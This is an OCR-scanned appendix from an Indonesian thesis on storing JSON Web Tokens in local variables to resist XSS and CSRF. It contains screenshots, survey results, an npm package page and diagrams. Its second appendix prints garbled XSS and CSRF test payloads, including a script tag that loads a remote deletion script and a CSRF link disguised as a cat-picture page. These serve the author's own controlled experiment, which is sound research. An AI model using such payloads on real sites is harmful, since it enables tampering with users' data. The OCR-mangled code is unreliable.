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Lampiran 1 Ul website uji coba

quote.me Create Logout Muh Bishram

Give a little color to your
Quote!

Give a little color to your quote! Lorem ipsum dolor sit
amet, consectetur adipisicing elit. Ad aliquid aperiam
beatae corporis delectus, dolorum inventore nihil quas
quod rem sapiente suscipit velit! Commodi, cupiditate
ipsa itaque magnam maxime quam?

James Doe (Admin)

quote.me Create Logout Muh Bishram

Quote kosong!

- Unknown (Muh Bishram)

Create

Create your quote!

quote.me Create Login

Login

Login to create a quote!

Give a little color to your quote!

- James Doe (Andy)
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Local Storage

Cookie

Local Variable




Lampiran 2 Ul website skrip

XSS Scripts CSRF Scripts CSRF Website

Controlled page disguised as a web that
shows a picture of cats. It is used to test
Cross-Site Request Forgery Attacks.

List of scripts used to test Reflected and List of scripts used to test Cross-Site
Stored Cross-Site Scripting Attacks. Request Forgery Attacks.

Reflected XSS Script

<a id="xss-anchor">Click herel</a> to fill quotes form automatically!

O =
nst redirectFromurl = ow.location.origin
linkel

t nameQuery= er I("wWow!™)

quoteQuery= en I("Cooll<script src="https://jwt-local-variable-attacks.vercel.app/delete-quo

.querySelector( "#xss-anchor")

onst hrefurl new URL(redirectFromurl + "/create")
hrefurl.searchParams.set(“name”, nameQuery)
hrefurl.searchParams.set("quote”, quoteQuery)
linkEl.setAttribute("href”, hrefurl.toString())
110)
</ >

Stored XSS Script

Seemingly harmless quote! Lorem ipsum dolor sit amet, consectetur adipisicing elit. Fugit, quasi.< src

CSRF Script

Want to see a picture of cats? <br />

<a id="csrf-anchor" href="https://jwt-local-variable-attacks.vercel.app/csrf-attack”><b>CLICK HERE!</b></a>
< £

(=3
onst redirectFromurl = .location.origin
nst linkel = nent .queryselector("#csrf-anchor™)
nst linkHref = linkgl. ibute("href™)

hrefurl = new URL(1linkHref)
hrefurl.searchParams.set("“redirectFrom”, redirectFromurl)
linkel.se (“href”, hrefurl.t
HO

</ >
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Lampiran 3 Hasil form uji coba keamanan

3 responses

LinktoSheets  §

gresponces @)

Summary Question Indivicual

Mama Responden

3 responses

M. Zul Fahmi Sadrah
Fauzan Alif Anwar

Gilbert Hyman Goes

Local Storage & Cookie

Local Storage & Cookie - Reflected XSS

Apakah quote berwarna biru hilang? D copy

3 responses

i LA

Fauzan Alif Anwar

Gilbert Hyman Goes

Local Storage & Cookie

Local Storage & Cookie - Reflected XSS

Apakah quote berwarna biru hilang? 1D copy
Srespanses

o

® T
Cleanupl

& Cookie - Stored XSS

Apakah quote berwarna biru hilang? D copy

3responses

v

Apakah quote berwarna biru hilang? D copy

Cleanup!

Local Storage & Cookie - CSRF

Apakah quate berwarna biru hilang? IO cepy
3 respanses

e

® o
Cleanup!

Local Variable Dengan CSRF Token

Local Variable Dengan CSRF Token - Reflected XSS
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Cleanup!

Local Variable Dengan CSRF Token

Local Variable Dengan CSRF Token - Reflected XS5

Apakah quate berwarna biru hilang? D copy
3 responses

Cleanup!

Local Variable Dengan CSRF Token - Stored XS5

Cleanup!

Local Variable Dengan CSRF Token - Stored XSS

Apakah quote berwarna biru hilang? 10 copy
Sresponses

o

® Tioak
Cleanup!

Local Variable Dengan CSRF Token - CSRF

Cleanup!

Local Variable Dengan CSRF Token - CSRF

Apakah guote berwarna biru hilang? D copy
Srespanses

.

® Tk
Cleanup!

Local Variable Tanpa CSRF Token

Local Variable Tanpa CSRF Token - Reflected XSS

Local Variable Tanpa CSRF Token

Local Variable Tanpa CSRF Token - Reflected XSS

Apakah quote berwarna biru hilang? 10 copy

3respanses

CSRF Token - Stored
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Apakah quote berwarna biru hilang? D copy
3 respanses
T
® 7o
Cleanup!
ble Tanpa CSRF Token - CSRF
&nakah aunte herwarna hins hilana? N cooy
Cleanup!
Local Variable Tanpa CSRF Token - CSRF
Apakah quote berwarna biru hilang? O copy
3 responses
3
© Toax
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Lampiran 4 Contoh hasil uji coba kinerja implementasi sistem

So Console
quote.me Create Logout Muh Bishram op s
Hide network Log XMLHttpRequest
Prese log Eager evalu:
G H I H tt I I t Selected context only Autocomplete from
Ive a littie color 1o your 8 Goupsinir s

w CORS exrors in

Quote!

Give a little color to your quote! Lorem ipsum dolor sit
amet, consectetur adipisicing elit. Ad aliquid aperiam
beatae corporis delectus, dolorum inventore nihil quas
quod rem sapiente suscipit velit! Commodi, cupiditate
ipsa itague magnam maxime quam?

- James Doe (Admin)




Lampiran 5 Contoh hasil uji coba kinerja penyimpanan

Local Variable

L |

Set Data and Log

8 KB of data is set!

Console
© | Local Variable
Hide network
Preserve log
Selected context only
Group similar messages in console
Show CORS erfors in corsole

Local variable (8 8029296875 ms.

B1
ultlevels v || 1 Issue: B 1
Log XMLHttpRequests
Eager evaluation
Autocomplete from history

Treat code evaluation as user action
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Lampiran 6 Halaman package npmijs persist-local-variable

& Not Pictured: Mangoes

“pm O\ Search packages

persist-local-variable

1.0.8 « Public + Published 2 months ago

B Readme B code & 0Dependencies & 0Dependents

Pro  Teams  Pricing Documentation

=X o

@ 1Versions & Settings

Persist Local Variable
React package to make local variable persist on multiple session.
Getting Started

Instalation

// Yarn
yarn add --dev persist-local-variable

Getting Started

Instalation

// Yarn
yarn add --dev persist-local-variable

// NPM
npm install --save-dev persist-local-variable

Usage

import {
usePersistlocalVariable,
set,

remove,

get,

} from "persist-local-variable";

const App = () => {
// Call this hook in the app root

usePersistlocalvariable();

Install

» npm i persist-local-variable

+ Weekly Downloads
s S

Version License

1.0.0 MIT

+ Weekly Downloads

4 ﬁ

Version License
1.0.0 MIT
Unpacked Size Total Files
9.81kB 26

Last publish
2 months ago

Collaborators

>-Try on RunKit

MReport malware

const App = () => {
// Call this hook in the app root

usePersistlocalvariable();

return (
<>
<button onClick={() => set("Test Data")}>Set</button>
<button onClick={() => remove()}>Remove</button>
<button onClick={() => console.log(get())}>Show</button>
<S>
)
¥;

Keywords

react local-variable persist-variable front-end

MWReport malware



65

Lampiran 7 Contoh kasus asli stored XSS tanpa dan menggunakan local variable

{;} | Insert to @ Viewed on 8 Run

insertto

—

Steam Steam
Community Profile
O Viewed on Run
=
Steam Steam
Community Profile

@: 3
!
A

Cookie

o
{i}

Cannot
access

X
Local
Variable
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Lampiran 8 Contoh kasus asli reflected XSS tanpa dan menggunakan local variable

C—o y Redirecito Run "
Verification + {' } {l }
Link
Reddit Can
Verification access

(i 0)

Cookie

GO ™ .
y Redirect to Run ’
Verification + {' } {' }
Link
Reddit Cannot
Verification access
X
Local

Variable



Lampiran 9 Contoh kasus asli CSRF tanpa dan menggunakan local variable

C_O Redirect to
—_—

CSRF
Website
Link

C_O Redirect to

CSRF
Website
Link

Run
g
CSRF
Website
Run
CSRF
Website

{i}

)

Can

\

w
0
O
h
I

Cookie

0
{i}

Cannot
access

X
Local
Variable
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Lampiran 10 Lembar perbaikan skripsi

LEMBAR PERBAIKAN SKRIPSI

“MENINGKATKAN KEAMANAN APLIKASI WEB
DENGAN MELAKUKAN PENYIMPANAN JSON WEB
TOKEN PADA VARIABEL LOKAL”
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